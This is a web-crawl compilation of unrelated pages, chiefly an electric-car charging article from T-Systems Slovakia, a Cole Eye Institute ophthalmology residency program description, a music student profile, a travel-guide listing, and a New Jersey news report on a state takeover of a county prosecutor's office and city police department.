the development and they do not have to know OS in details. Individual instances reinstall automatically with the same software and basic adjustments. What are the plans for future for Pavol? Is something in IT world what attracts him a lot? As he says, the cloud solutions are something he might like to come back to. He devoted four years to cloud solutions and he likes it. He personally thinks though that people will come back to the data storage in different forms. Well, time will show. Anyways, we wish Pavol lots of interesting projects and nice people around. It seems like, right now, all these factors are fulfilled.	cc/2020-05/en_middle_0032.json.gz/line7992
__label__cc	0.652907	0.347093	11. January 2019 \| Autor: Lukáš Benedik \| Kategória: Non-classified You can charge your electric car at T-Systems Slovakia Driving the electric cars has two impacts on your wallet. The secondary one is far more interesting. In the morning I switch off my phone and car. I am on my way to work. Starting my car, the seat adjusts automatically and I fell the warm air from heating system right away. The driving luxury is over the standard. No gearbox, the car speeds up and slows down fast. No problems when starting in the winter, great acceleration. Electric car is a magic. Is it worthy to invest into the electric car? Ladislav Holotňák, the project manager from T-Systems Slovakia is not that eco friendly, he is more economically focused. He ca save 3000 eur per year. Also the feature that you are saving the planet is very pleasant. And then, you are parking the sedan in your garage with the characteristics of a sport car. „It is about 85 km from Spiš to Košice. I can charge my car at Tesla (BCT), at Moldavska street. When I have a meeting at Cassovar Business Centre (CBC), I can charge my car there as well. “ Ladislav says. „We have to get used to the usage of the electric car and use it as a cellphone. When we are not using it, we charge it.“ He was waiting for Hyundai Iounique Electric for six months. He used the state donations of 5000 eur that time. By adding other 30 000 eur he paid for his car. When he calculated what is the return on investment, the result was that the price for this car will return in five years. At the same time he is enjoying the premium properties of this car as the distance detection, sensors of various kinds. Ladislav took a loan for this car but the monthly payments is not “killing” him. Before he was paying similar money for the gasoline. Now he just pays 50 eur more per electricity per month. Destination chargers at T-Systems When Ladislav addressed Tesla company with a request to supply the destination chargers or so called wallboxes, the respond was positive. The only condition was to assembly those at the parking lots. He has contacted the parking lot owners at CBC and Tesla and also the TSSK Facility department. Together they decided which place was the best for the assembly. There are three chargers installed in each location. Two specifically for Tesla cars and one for any electric car. Are you curious who is paying the electricity bill? The parking lot owner is. It is for free for the users. They pay it within their parking bill. The charger at Tesla has a voltage of 32 ampere. From zero to 40 – 50 percent it takes about two hours and half. The charger at CBC is weaker, 16 ampere. With full capacity can Ladislav drive 198 km. The battery peeps at capacity of 13 percent (26 km to go). If the worst scenario happens, he can charge the car wherever where he can find the electricity. The number of charging places increases. They are all marked within the digital map, which is in the interior of every electric car. The app shows what charger is how far. Of course, the Tesla car can go for about 400 – 500 km. New Hyundai Kona Electric, or KIA e-Niro can make about 400-450 km and they have the double battery. Since 2019 there will be new Tesla model3 available for 42 000 eur. World trends It is clear now that the number of “green” cars will grow. In Norway the ratio of sold new cars is 50:50, electric versus standard. Electric cars will have blue signs and they will have right to ride in the bus lines as well. The great feature of this car is its quiet run. The costs per 100 km are five times smaller when comparing to the standard. As Maroš Šefčovič, who is a member of Energetic union said: “I am sure our economic future depends on a fact how we will solve the future. Pure mobility is a part of it.“ So, did we persuade you to buy a new electric car? To be honest, this was not out intent. We just wanted to point out the fact that also T-Systems Slovakia is open to “green” solutions. Those of you who have the electric car can charge it at work. And it is cool. Kristína Záthureczká	cc/2020-05/en_middle_0032.json.gz/line7993
__label__cc	0.628457	0.371543	The Guide to a Weekend Getaway in Downtown Los Angeles If you're looking for an urban adventure for your next weekend getaway, then Downtown Los Angeles is the place to be. The Guide to a Weekend of Outdoor Adventure in Hollywood Read on for a weekend itinerary of outdoor adventure in the Entertainment Capital of the World. The Best Places in Los Angeles to Pop the Question From museums to alien landscapes, read on for the best places in Los Angeles to propose. A Guys Weekend of Adventure in Los Angeles The next time you’re looking for a weekend of male bonding, check out everything L.A. has to offer. Here’s a two-day itinerary for a weekend getaway for adventurous guys. Three Days of Adventure in the Beach Cities of Los Angeles As an adventurous traveler in the know, you’re onto the fact that some of the best beach spots are a little more hidden — think Manhattan, Hermosa, and Redondo. Here’s the best way to enjoy a fun-packed three day weekend at L.A.'s beautiful Beach Cities. The Ultimate Guide to Los Angeles Rams Game Day Whether you're a newbie or a lifelong fan, going to a Rams game takes some planning in order to maximize the experience. Wear sunscreen, stay hydrated, and read on for tips on the best ways to attend a Los Angeles Rams game. Discover Molly Ringwald's Los Angeles Molly Ringwald, the ginger-haired "It Girl" of the 80s, shares her favorite L.A. places LA 2024: Discover Los Angeles Through a Kazakhstan Lens From horseback rides in the Hollywood Hills to a showstopper lamb dish and a thrilling game of soccer, we invite our Kazakh friends to explore the City of Angels with this 24 hour guide. Discover the Best Pokémon Go Locations on the Metro Expo Line Here to take you on a whirlwind tour of the Metro Expo Line, meet L.A.’s adventurous, colorful, and cutest new tour guides: the Pokémon in your pocket. The Guide to the Metro Red Line: Part Two Served by both the Red and Purple Lines, the Wilshire/Vermont station is accessible to educational institutions such as Southwestern University and Robert F Kennedy Community Schools. Above the station is a mixed-use transit village development, with apartments and retail space in a building designed by architecture firm Arquitectonica. Dedicated platforms for eastbound trains are located on the upper level and westbound trains stop on the lower level. Korean BBQ favorites like Soowon Galbi and Soot Bull Jeep are located a half-mile from the station. The Prince is as famous for its Korean-style fried chicken as it is for its classic decor and appearance on Mad Men. Howard Johnson Los Angeles is conveniently located a block from the Wilshire/Vermont station. Metro Purple Line: At Wilshire/Vermont, you can transfer to the Purple Line and explore Koreatown. Read More →	cc/2020-05/en_middle_0032.json.gz/line7997
__label__cc	0.57082	0.42918	site people psu Luke Gall Congratulations to music education senior Luke Gall who will compete in the national Music Teachers National Association (MTNA) Young Artist Competition to be held in Chicago in March, 2014. Luke earned this honor after winning both the state and eastern division MTNA competitions in November and January. He is the winner of the Young Artist - Brass competition. Luke's competition repertoire is as follows: Nocturne, Op. 7 ♦ Franz Strauss Concerto for Euphonium ♦ Vaclav Nelhybel Con Moto (from Euphonium Concerto) ♦ Joseph Horovitz Capriccio ♦ Mike Forbes Rabecando ♦ Fernando Deddos A senior, he is a euphonium student of Velvet Brown. He participates in the Symphonic Wind Ensemble, Blue Band, Tuba Euphonium Ensemble, and the euphonium quartet FivE. He was awarded Jury Recognition in 2010 and 2012 as a soloist and, with FivE, won second prize in the 2013 Southeast Regional Tuba Euphonium Conference quartet competition. FivE was also a quarterfinalist in the 2013 Fischoff International Chamber Music Competition. Luke is from Goochland, Virginia. When asked about his upcoming national performance, he stated, "I'm thrilled about the opportunity to play and compete with the best this upcoming March. It truly is an honor to be representing Pennsylvania, the Eastern division, and Penn State at the MTNA Nationals in Chicago!" The Music Teachers National Association is a nonprofit organization comprised of 22,000 independent and collegiate music teachers committed to advancing the value of music study and music making to society, and to supporting the professionalism of music teachers. Founded in 1876, Music Teachers National Association is the oldest professional music association in the United States. Information for Non-Majors Performer Hotline Penn State School of Music • Music Building 1 • University Park, PA 16802-1901 • P/ 814.865.0431 • F/ 814.865.6785 N Allen Rd, between West Park Ave and Curtin Rd., north of the Spiritual Center	cc/2020-05/en_middle_0032.json.gz/line8009
__label__cc	0.641576	0.358424	Questions with Answers Vol. 5: Prayer and the Sacraments (Instrumental tracks) by Dana Dirksen nikkimarquis17 Emily Hendrix What is Prayer? (Instrumental tracks) 03:05 In Whose Name Should We Pray? (Instrumental tracks) 02:19 What Guide Has Christ Given to Teach us How to Pray? (Instrumental tracks) 01:19 The Lord’s Prayer (Instrumental tracks) 02:36 Hallowed Be Thy Name (Instrumental tracks) 02:15 Thy Will Be Done on Earth As It Is in Heaven (Instrumental tracks) 02:42 Give Us This Day Our Daily Bread (Instrumental tracks) 01:48 As We Forgive Our Debtors (Instrumental tracks) 01:25 Lead Us Not into Temptation (Instrumental tracks) 02:11 What is a Sacrament? (Instrumental tracks) 01:39 Who Gave the Sacraments? (Instrumental tracks) 01:15 Why Did Christ Appoint These Sacraments? (Instrumental tracks) 01:03 What Element Is Used in Baptism? (Instrumental tracks) 01:32 What Does Baptism Represent? (Instrumental tracks) 01:38 In Whose Name are We Baptized? (Instrumental tracks) 01:06 Who Should Be Baptized? (Instrumental tracks) 01:58 Does Christ Care for Little Children? (Instrumental tracks) 01:22 What Is the Lord’s Supper? (Instrumental tracks) 01:22 What Do the Bread and the Wine Represent? (Instrumental tracks) 01:42 Who May Partake of the Lord’s Supper? 01:31 Find out more about our ministry at SONGSFORSAPLINGS.COM "Questions with Answers Vol. 5: Prayer and the Sacraments" takes listeners through the Scriptural basics of prayer, baptism and the Lord's Supper. The songs about prayer focus on what prayer is and to whom we should pray, along with examining the different parts of The Lord’s Prayer. The songs about the sacraments teach the meaning and administration of baptism and the Lord’s Supper. Did you know Songs for Saplings music is being translated and used to share God's great truths around the world? Find out more at www.songsforsaplings.com/missions Find out more at songsforsaplings.com/missions	cc/2020-05/en_middle_0032.json.gz/line8010
__label__cc	0.683046	0.316954	Cole Eye Institute Cole Eye Institute Menu Home / Institutes & Departments / Cole Eye Institute / For Medical Professionals / Residency Training Residency Training The Cole Eye Institute Residency Program provides an unsurpassed combination of clinical and surgical training, research experience, and individual mentorship with the goal of producing outstanding physicians and future leaders of ophthalmology. Through a combination of apprenticeship and graduated autonomy, our residents complete their training with near fellowship-level competency across all subspecialties. Our residents consistently match to top academic fellowships or secure competitive positions in private practice, a testament to the high quality of our trainees and the excellent reputation of our program. Referring Physician Hotline 855.733.3712 Referring Physician Center Surgical Training Call Structure Apply/Benefits The roots of the ophthalmology Residency Program at the Cleveland Clinic trace back to 1935, at which time the first official ophthalmology resident began training. In 1949, the Residency Program received ACGME certification, typically training two or three residents per year. In 1976, the Cleveland Clinic ophthalmology residency program was expanded to its current complement of four residents per year under the transformative leadership of Froncie Gutman, MD (Department Chair, 1969-1991), a renowned retina specialist and former President of the American Academy of Ophthalmology. He appointed Roger H.S. Langston, MD, a fellowship-trained cornea specialist, as the first Residency Program Director, a position which he held for 25 years of his forty year career at the Cleveland Clinic. In 1994, under the tenure of Dr. Gutman’s successor, acclaimed retina specialist Hilel Lewis, MD (Department Chair, 1993-2008), the Cole Eye Institute as an entity was born. Following a multi-year fundraising campaign, in 1999 the ophthalmology department was relocated to the building now known as the Cole Eye Institute, a 130,000 square foot state-of-the-art outpatient facility in which research, clinical care, and education are seamlessly integrated. In 2001, Elias I. Traboulsi, MD, a fellowship-trained pediatric ophthalmologist and board-certified geneticist, succeeded Dr. Langston as the Residency Program Director, further elevating the reputation of the program as one of the premier academic institutions in the nation. In 2008, Daniel F. Martin, MD (Department Chair, 2008-present), an internationally-recognized retina and uveitis specialist and leader of numerous landmark clinical trials, was appointed Chairman of the Cole Eye Institute. Under his leadership, the Cole Eye Institute solidified its standing as a top-ten ophthalmology department in the United States and increased its reach and reputation to unsurpassed heights. In 2014, Jeffrey M. Goshe, MD, a fellowship-trained cornea specialist and former Chief Resident of the Cole Eye Institute, succeeded Dr. Traboulsi as Residency Program Director. During Dr. Goshe’s tenure, a year-long pre-surgical training program was instituted and resident surgical experience was prioritized, reflected by resident surgical volumes soaring into the top 10% of programs nationally. MetroHealth Medical Center The Cole Eye Institute has partnered with Cuyahoga County MetroHealth Medical Center for more than twenty years to provide ophthalmologic care to residents of the greater Cleveland metropolitan area. Cole Eye Institute residents spend approximately one third of their residency rotating at MetroHealth, spread across the three years of clinical training. The ophthalmology service is structured as a resident-run clinic in which residents are supervised by experienced comprehensive and subspecialty physicians covering the entire spectrum of ophthalmologic care. A number of Cole Eye Institute staff physicians are dually credentialed at MetroHealth Medical Center, providing educational continuity and further reinforcing the symbiotic relationship between the two institutions. Our residency program is fully accredited by the Accreditation Council for Graduate Medical Education (ACGME) and fulfills all requirements of the American Board of Ophthalmology. PGY-4 Jessica Cao, MD Medical School:University of Southern California, Keck School of Medicine Daniel Petkovsek, MD Medical School:Case Western Reserve University, School of Medicine Yue (Carrie) Zhao, MD Medical School:Cleveland Clinic Lerner College of Medicine, of Case Western Reserve University Andrew Zheng, MD Medical School:Columbia University, College of Physicians and Surgeons Rebecca Chen, MD Medical School: Case Western Reserve University, School of Medicine Nicholas Grissom, MD Medical School: Wake Forest School of Medicine Sami Khan, MD Medical School: University of Michigan Medical School Michael Krause, MD Tanner Ferguson, MD Medical School: University of South Dakota Sanford School of Medicine Austen Knapp, MD Medical School: Oakland University William Beaumont School of Medicine Leanne Little, MD Medical School: Baylor College of Medicine Kevin Wang, MD Medical School: Case Western Reserve University School of Medicine 2019 Graduating Residents Rachel Chen, MD: Vitreoretinal Surgery Fellowship-University of Colorado Ang Li, MD: Glaucoma Fellowship-Duke University Robert Purgert, MD, PhD: Glaucoma Fellowship-Wills Eye Institute Tan (Lucy) Xu, MD: Vitreoretinal Surgery Fellowship-Emory University Waseem Ansari, MD: Vitreoretinal Surgery Fellowship-Retina Consultants of St. Louis Sruthi Arepalli, MD: Uveitis Fellowship-Casey Eye Institute Alexander Barnes, MD: Vitreoretinal Surgery Fellowship-Emory University Daniel Cherfan, MD: Vitreoretinal Surgery Fellowship- University of British Columbia Brandon Baartman, MD – Cornea/Anterior Segment and Refractive Surgery Fellowship Vance Thompson Vision; Sioux Falls Daniel Feiler, MD – Vitreoretinal Surgery Fellowship University of Iowa; Iowa City Preethi Ganapathy, MD, PhD – Glaucoma Fellowship Duke University; Durham Vishal Parikh, MD – Vitreoretinal Surgery Fellowship The Retina Institute; St. Louis Maria Choudhary, MD – American Society of Ophthalmic and Reconstructive Surgery Fellowship Center for Facial Appearances; Salt Lake City Joseph Griffith, MD – Pediatric Ophthalmology and Adult Strabismus Fellowship Children’s Hospital of Philadelphia; Philadelphia Nathaniel Sears, MD – Glaucoma Fellowship Jules Stein Eye Institute; Los Angeles Adam Weber, MD – Ophthalmic Plastic and Reconstructive Surgery Fellowship Baylor College of Medicine; Houston Katie Hallahan, MD – Cornea, Refractive and Anterior Segment Surgery Fellowship Baylor College of Medicine; Houston Priyanka Kumar, MD – Pediatric Ophthalmology Fellowship Emory University; Atlanta Tal Rubinstein, MD – American Society of Ophthalmic and Reconstructive Surgery Fellowship Aesthetic Eye Associates; Seattle Jack Shao, MD – Associate Staff Cole Eye Institute, Cleveland Clinic; Cleveland Cole Eye Institute residents spend the majority of their time at Cleveland Clinic main campus, rotating among the division's subspecialty services: Ophthalmic Oncology Ophthalmic Plastic, Reconstructive and Orbital Surgery Optometry and Contact Lens Pediatric Ophthalmology and Adult Strabismus Uveitis, Ocular Inflammatory Disease, and Immunology The rotation schedule provides balanced exposure to all subspecialty areas of ophthalmology, ensuring a well-rounded training experience. Each resident receives substantial one-on-one training from core faculty members. This format provides the optimal environment for studying complex disease processes and their medical and surgical management. This structure also allows residents to spend time performing thorough examinations and developing independent management plans without the pressure of being responsible for seeing every patient in a busy clinic. Approximately one-third of the training program is spent at MetroHealth Medical Center (MHMC), the largest county hospital in the Greater Cleveland area as well as a Level I Trauma center. Rotations at MHMC include general ophthalmology and all subspecialty services. Residents also rotate at Stephanie Tubbs Jones (STJ) Health Center during the PGY-3 year. Both MHMC and STJ operate as traditional “Resident-Run Clinics”, in which residents are the primary providers of patient care, both medical and surgical. Staff supervision is always available, and residents are granted graduated autonomy based on comfort level and experience. The proportion of time spent in surgery versus the clinic increases throughout the course of residency. On average, PGY-2’s spend 10% of their time in the OR, PGY-3’s 30% and PGY-4’s 50%. Upon graduation, residents are fully prepared to function as skilled general ophthalmologists or transition to any subspecialty fellowship. MetroHealth 6 Months Anterior Segment 3 Months Retina/Uveitis 3 Months Pediatrics/Oncology 3 Months Neuro-Ophthalmology/STJ 3 Months Oculoplastics 3 Months Glaucoma 3 Months Retina 3 Months Pre-surgical Curriculum Surgical training at the Cole Eye Institute begins well in advance of a resident’s first case as primary surgeon. In 2013, the Timken Microsurgical Education Laboratory was established and became a formal addition to the pre-surgical curriculum. Jeff Goshe, MD, a fellowship-trained corneal surgeon and the Residency Program Director, serves as the laboratory’s chief instructor. The lab is additionally attended by a rotating group of approximately six to eight comprehensive and subspecialty-trained Cleveland Clinic staff ophthalmologists. On Wednesday mornings from September through June, all first year residents spend four hours per week in the 600-square-foot space located on the first floor of the Cole Eye Institute, learning advanced microsurgical techniques from Cole Eye Institute ophthalmologists using the latest technology in ophthalmic surgical education. Residents participate in a wide variety of specialty laboratories, including: Advanced phacodynamics including Phaco Chop Amniotic membrane transplantation Corneal and conjunctival suturing Extracapsular cataract extraction Eyelid laceration repair and rotational skin flaps Glaucoma filtering surgery (iStent, CyPass, trabeculectomy, tube-shunt) Iridoplasty and advanced suturing techniques Penetrating and lamellar keratoplasty Sutured intraocular lenses Vitrectomy (anterior and pars plana approaches) Each resident spends over one hundred hours training to properly use OR-grade surgical instruments, microscopes, phacoemulsification and vitrectomy equipment, providing the most realistic possible training experience. Residents receive extensive one-on-one instruction. After completing the year-long curriculum, residents can confidently begin performing all facets of intraocular surgery during the PGY-3 year. Early in the PGY-2 year, residents begin performing the basic steps of cataract surgery, applying microsurgical skills honed during the comprehensive wet laboratory program. Residents are fully prepared to perform complete primary cataract surgery by the second year of residency. PGY-3 residents typically perform 30-50 primary cataract procedures. The remainder of the PGY-3 surgical experience consists of strabismus and oculoplastic surgery. During the PGY-4 year, residents typically perform an additional 200-250 primary cataract surgeries, graduating with approximately 250-300 primary phacoemulsifications (90th percentile nationally). Residents gain proficiency with premium intraocular lenses and femtosecond laser-assisted cataract surgery. PGY-4 residents also perform glaucoma filtering surgery (including MIGS), vitreoretinal surgery (including pars plana victrectomy as primary surgeon), and corneal surgery (including corneal transplantation) as primary surgeons. Globe trauma is distributed across the entire residency. Residents also have the option to perform primary keratorefractive surgery (including LASIK and PRK) throughout all years of training. The total surgical volume for graduating residents is typically in the 80th percentile nationally. Owing to our comprehensive surgical training, residents feel confident pursuing any sub-specialty fellowships or transitioning directly into a high volume comprehensive ophthalmology practice. Didactics/Conferences: PGY-2 Orientation Course: Every year in July, incoming PGY-2 residents receive approximately two weeks of intensive didactic and hands-on training to prepare them for their first clinical rotations. During this time period, first-year residents are excluded from all patient care duties (including clinic, call and consults) while they ramp up their skills to begin examining patients independently. Lectures are given by departmental faculty, research staff and clinical fellows, and are focused on both practical and academic topics. Morning Lecture Series: The backbone of the didactic program is the 18-month Core Lecture Series, a robust curriculum of more than 120 lectures covering key topics from all subspecialties. A variety of teaching styles are employed, including standard didactic lectures, case-based presentations and round-table discussions. Approximately 90% of lectures are given by Cole Eye Institute departmental staff, with the remainder given by optometrists and clinical fellows. The curriculum is designed such that the entire program is completed twice during the 36 month training program. This redundancy is intentional knowing that senior residents are often excused from morning lectures to begin their operating room duties. Lectures are held in the J.P. Storer Conference room, located on the first floor of the Cole Eye Institute from 7 to 8am. Grand Rounds: From September through June, Ophthalmology Grand Rounds are held on Monday mornings from 7 to 8am. Residents present interesting cases encountered during their clinical rotations and an interactive discussion between departmental staff, residents and fellows follows. A short presentation is then given by the resident focused on key take-home points or pertinent peer-reviewed literature. Grand Rounds Quiz: Immediately following Grand Rounds, residents are given a ten-question pictorial “quiz” by a faculty member covering their area of subspecialty expertise. The answers are then immediately reviewed and a discussion is held to review important findings and highlight key concepts. The purpose of the quizzes is for residents to assess their fund of knowledge and to prepare for the board examination. Morbidity and Mortality (M&M) Conferences: Twice annually, senior residents (PGY-3 and PGY-4) present surgical or clinical cases involving complications or negative outcomes. Residents provide a summary of any evidence based medicine relevant to the critical decision making and an open discussion is held amongst residents and faculty. The purpose of this conference is to learn from past experiences in a constructive environment, with the ultimate goal of enhancing the efficiency and quality of patient care. Distinguished Lecture Series: The Distinguished Lecture Series is a forum in which renowned visual scientists are invited to the Cole Eye Institute to present a lecture on their latest research findings. These lectures are held from 7-8 am, once a month. Residents are expected to attend and interactive discussion is encouraged. Chief Lectures: Every month the chief resident gives a lecture to the PGY-2 residents focused on high-yield information for board preparation. These lectures are designed to be interactive, informal sessions with a heavy emphasis on pattern recognition and classic disease presentations. Pathology Laboratory: PGY-2 residents receive more than 40 hours of structured, interactive pathology training in a small group setting with Careen Lowder, MD, PhD, a uveitis specialist with fellowship training in ocular pathology and thirty years of experience teaching residents. The sessions are held in the Timken Microsurgical Education Laboratory following wet labs on select Wednesdays throughout the academic year. Pathology Conferences: Residents attend monthly conferences in which interesting clinical cases with ophthalmic pathology are presented. The conferences are moderated by ocular oncologist Arun Singh, MD, and pathologists Thomas Plesec, MD and Gabrielle Yeaney, MD. Pathology Review: Dr. Ralph Eagle, a world-renowned ocular pathologist from Wills Eye Hospital, travels to Cleveland annually to provide a one-day, intensive pathology review for Cole Eye Institute residents and fellows to assist with OKAP and board examination preparation. Residents are invited to join Dr. Eagle and other departmental staff for an informal dinner. Fluorescein Angiography (FA) and Uveitis Conferences: Residents and subspecialty fellows participate in monthly recurring conferences for interesting uveitis and FA cases. The cases are moderated by the subspecialty fellows but attended by departmental staff to encourage high level discussion and evidence based medicine. Quality Improvement/Patient Safety Committee: During the PGY-3 pediatric rotation, residents attend the monthly Quality Improvement Patient Safety (QIPS) meetings. These meetings are attended by a team of faculty, nurses, technicians and administrators with the purpose of critically reviewing any QIPS issues from the previous month. The emphasis of these meetings is to identify any systematic failures which may negatively impact patient outcomes and caregiver safety and implement any necessary changes to remedy them. Journal Clubs: Ophthalmology journal clubs are held on average once monthly throughout the year. These meetings are held at a variety of venues, including homes of departmental staff and upscale restaurants. Journal clubs offer an informal, but educational environment dedicated toward increasing resident apprehension of recent literature, and learning how to critically analyze scientific papers. Ethics Conferences: On a quarterly basis, resident ethics conferences are held with moderators Elias Traboulsi, MD, a pediatric ophthalmologist and geneticist, and Eric Kodish, MD, a pediatric oncologist and bioethicist. These conferences are held over dinner, employing an informal roundtable format. Residents anonymously submit ethical cases in advance which are selected by the moderators and presented for discussion at the meeting. Relevant peer-reviewed literature, when available, is provided as a basis for further discussion and enrichment. Joint Subspecialty Conferences: Quarterly joint subspecialty conferences with the residents and faculty from University Hospitals (UH) are held at both institutes on a rotating basis. Conference topics cycle through all of the major subspecialties (retina, cornea, glaucoma, pediatrics, etc,). Residents from both departments present interesting cases followed by discussion. The conferences are held in the evening and dinner is provided. Cleveland Ophthalmological Society: Cole Eye Institute residents are freed from clinical responsibilities to attend the Cleveland Ophthalmological Society (COS) meetings, held every two months at the Doubletree Hotel in Independence, OH on Tuesday afternoons from September through April. The meetings consist of two hours of didactics followed by a key note lecture from the invited guest lecturers. Residents are invited to present interesting cases. Approximately 100 regional ophthalmologists are in attendance and each meeting has a specific theme (e.g. Management of Surgical Complications, Update on Ocular Oncology, etc.). Guest lecturers are frequently nationally or internationally acclaimed experts in their field. Continuing Medical Education Conferences: Throughout the year, the Cole Eye Institute holds educational conferences for CME credit which are offered to regional ophthalmologists on a variety of subspecialty topics (e.g. annual North Coast Retina Symposium). These conferences are typically held on Saturdays, two to three times per year. Residents are expected to attend these conferences and frequently are invited to present cases or short lectures. Annual Resident Research Day: Every June, all residents and faculty attend the Annual Resident Research Day, an all-day conference in which residents, fellows and select faculty give focused presentations on a research project they have completed in the previous year. The conference is followed by the annual resident and fellow graduation ceremony, held at the InterContinental Hotel Ballroom attached to the Cleveland Clinic. OKAP Review: Between January and March, approximately fifteen review sessions are provided for residents and fellows to review high-yield content in preparation for the annual Ophthalmic Knowledge Assessment Program (OKAP), a yearly examination given to prepare residents for the Ophthalmic Board Examination. Cadaver Lab: Residents are invited to participate in cadaver dissection at the Cleveland Clinic Lerner College of Medicine to demonstrate orbital anatomy to medical students. Call is spread out over the course of the 36-month training program, varying by resident level of training. All call is taken from home, although sleeping quarters are provided at both Cleveland Clinic and MetroHealth Hospitals if needed. In the event of an exceptionally busy overnight call, the on-call resident may be excused from the following morning’s clinical responsibilities to ensure adequate rest. This is only necessary in rare circumstances as the call volume is generally quite manageable. PGY-2 MetroHealth Home Call (q4 primary) PGY-2 residents cover primary call at MetroHealth Hospital, on average q4 days. MetroHealth Hospital is a level one trauma center and the majority of afterhours consults relate to the evaluation and management of ocular and orbital trauma. The call volume is relatively light. A PGY-4 resident serves as back-up for surgical cases or for complex patient management decisions. A MetroHealth attending is always on-call and required to be present for any surgical cases performed in the operating room. Minor procedures (e.g. simple eyelid lacerations) may be performed by junior residents at the bedside, either supervised or unsupervised based on level of training and comfort level. PGY-3 Cleveland Clinic Home Call (q4 primary) PGY-3 residents cover primary call at the Cleveland Clinic Main Campus, a level two trauma center. Cole Eye Institute residents are never required to see patients at any other Cleveland Clinic hospitals. Eye emergencies from regional hospitals are transferred to the main campus for further management if required. Subspecialty fellows and a Cleveland Clinic staff ophthalmologist are always available as back-up. PGY-3 residents go to the OR to perform surgical procedures arising from on-call patient issues. All operating room cases are supervised a staff physician (attending or fellow). Minor procedures (e.g. simple eyelid lacerations, lasers, injections) may be performed by PGY-3 residents at the bedside, either supervised or unsupervised based on level of training and comfort level. PGY-4 MetroHealth Back-up Home Call (q4 backup) PGY-4 residents serve as back-up for MetroHealth Hospital. This call is light, typically requiring travel to the hospital only for surgical cases. Due to the relatively infrequent nature of afterhours cases, PGY-4 residents usually cover call for one week periods at a time. At the beginning of the academic year, PGY-4 residents also mentor PGY-2 residents (“buddy call”). After the first few months of the year, PGY-2 residents are typically self-sufficient, only requiring assistance for complex patients or when surgery is needed. Cole Eye Institute residents are encouraged to conduct research. Their research activities are supervised carefully by an experienced clinical investigator. Residents, fellows and staff participate in the annual Residents and Alumni Meeting, a scientific forum for the presentation of research projects. Some of these presentations can be found on ConsultQD. Cleveland Clinic Physicians Review Frontalis Muscle Transposition Flap Procedure for Lateral Eyebrow Ptosis Repair Caspase-8-mediated Cleavage Inhibits IRF-3 Protein by Facilitating its Proteasome-mediated Degradation Study Finds Room for Improvement When Screening Patients for Ophthalmic Side Effects of Hydroxychloroquine Study Finds Vision First Model Provides Vision Screenings and Glasses for Children at All Public Schools in Cleveland Please submit all application materials through the CAS/San Francisco (SF) Match service. Residency application deadline is September 6, 2019 and interviews will be November 3-4, 2019. Applicants selected for interviews will be notified by email. Interview Selection Criteria The Committee reviews every application individually and while we have no absolute requirements, we do give strong preference for applicants who meet the following criteria: Outstanding college and medical school academic records. Competitive scores on USMLE Step 1 and Step 2 (if taken). Strong work ethic and interpersonal communication skills, as evidenced by letters of recommendation, Dean's letter and medical school rotation evaluations. A commitment to advancing medical knowledge through laboratory research, clinical research or medical education. A passion for ophthalmology as indicated by involvement in research, elective rotations, or previous work/volunteer experience. The goal of the committee is to interview applicants who we feel will flourish in residency training at the Cole Eye Institute. Although we require residents to participate in clinical or basic science research during their training, we do not look negatively upon residents who do not choose to pursue subspecialty fellowships or academic careers. We encourage our residents to follow their passion, and enthusiastically support them in all of their future endeavors. Consistent with the national trend, approximately 75% of our residents pursue subspecialty training with the remainder transitioning directly into comprehensive ophthalmology. Applications will be reviewed following the deadline. Once candidates are selected for interview, notification of interviews will be made via email by our educational coordinator, Jen DiPiero. For the four vacancy positions, approximately 50-60 candidates will be interviewed. For any questions regarding your application, please contact Jen DiPiero via email at dipierj@ccf.org. A full summary of resident benefits provided by the Cleveland Clinic (including salary levels and insurance coverage) can be located here. Cole Eye Residents also receive the following supplemental benefits: Basic and Clinical Science Course: Residents are provided with both printed copies and electronic access to the Basic Clinical and Science Series (BCSC), the core study materials from which the OKAP and American Board of Ophthalmology examinations are derived. Each resident is provided with a wireless indirect ophthalmoscope (HEINE OMEGA 500 LED) and charging station to use throughout the duration of their residency. Educational Fund: Residents receive a $1200 stipend which may be used to purchase books, ophthalmic equipment, computers, tablets or other educational resources. Conference Days: Residents receive paid time off to travel to and present at regional or national conferences. Conferences days do not count against vacation or interview days. Travel/Conference Reimbursement: Residents may request reimbursement up to $1500 per trip (no limit to total number of conferences per year) to travel to and present at any approved ophthalmology conferences. All PGY-4 residents receive reimbursement to attend the American Academy of Ophthalmology Annual Meeting, regardless of presentation status. Interview Days: Residents receive up to nine (9) days of paid leave to interview for fellowship programs or jobs. These days are in addition to paid time off for vacation (fifteen days per year). Journal Access: Electronic access to all of the major medical journals is available both on-site and via remote access. Current and archival print copies of all major ophthalmologic journals are also available in the Resident Library. Out of print articles can be requested via the Cleveland Clinic Library and are delivered electronically at no charge. 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__label__wiki	0.823023	0.823023	NJ takes over police department, prosecutor’s office over bigotry Sergio Bichao Union County Courthouse in Elizabeth. (Google Maps) ELIZABETH — The state attorney general has taken over the Union County Prosecutor's Office as well as the Police Department in the state's fourth largest city after the civilian police director was accused of using bigoted slurs to describe women and minorities who worked for the city. Attorney General Gurbir Grewal on Friday called on Police Director James Cosgrove to resign, saying that he has "violated" the community's trust "and, in doing so, undermined confidence in our system of justice." "Here in New Jersey, we have worked hard to strengthen trust between police and the communities we serve, and we have no patience for those who fail to recognize that our ultimate responsibility is to the laws of this State and the people of New Jersey," Grewal said. "While I have great faith in the men and women who make up the Elizabeth Police Department, it is apparent that their director has fallen short." Grewal also removed Acting Union County Prosecutor Michael Monahan and appointed First Assistant Attorney General Jennifer Davenport to take his place in an acting capacity, tasking her to oversee the city's police department. Monahan was reassigned to his previous position in Grewal's office. Grewal also appointed his special assistant, Joseph Walsh, as counsel to Davenport, tasking him with auditing the Elizabeth Police Department's workplace culture, including its hiring and promotional practices, as well as ensuring that all police officials are appropriately trained on matters of implicit bias and sexual harassment. The action comes days after Monahan's office corroborated complaints against Cosgrove and also announced that prosecutors were taking over the city's internal affairs unit. The city said the internal affairs takeover was a result of a complaint against the city's police chief, not because of Cosgrove. It is not clear why Mayor Christian Bollwage has not fired Cosgrove or what his reaction is to the prosecutor's investigation or the attorney general's takeover. A city spokeswoman did not return a request for comment Friday afternoon. The city and the county are dominated by Democrats. The complaints against Cosgrove stem from litigation being handled by attorney Joshua McMahon, a former assistant prosecutor in Union County. McMahon said about 20 city employees spoke to prosecutors regarding Cosgrove's use of the "N word" and the "C word." Prosecutors are appointed by governors for terms of five years after confirmation by the state Senate but Union County has been without a permanent prosecutor for six years. Since 2013, the county has had four acting prosecutors. Sergio Bichao is deputy digital editor at New Jersey 101.5. Send him news tips: Call 609-359-5348 or email sergio.bichao@townsquaremedia.com. 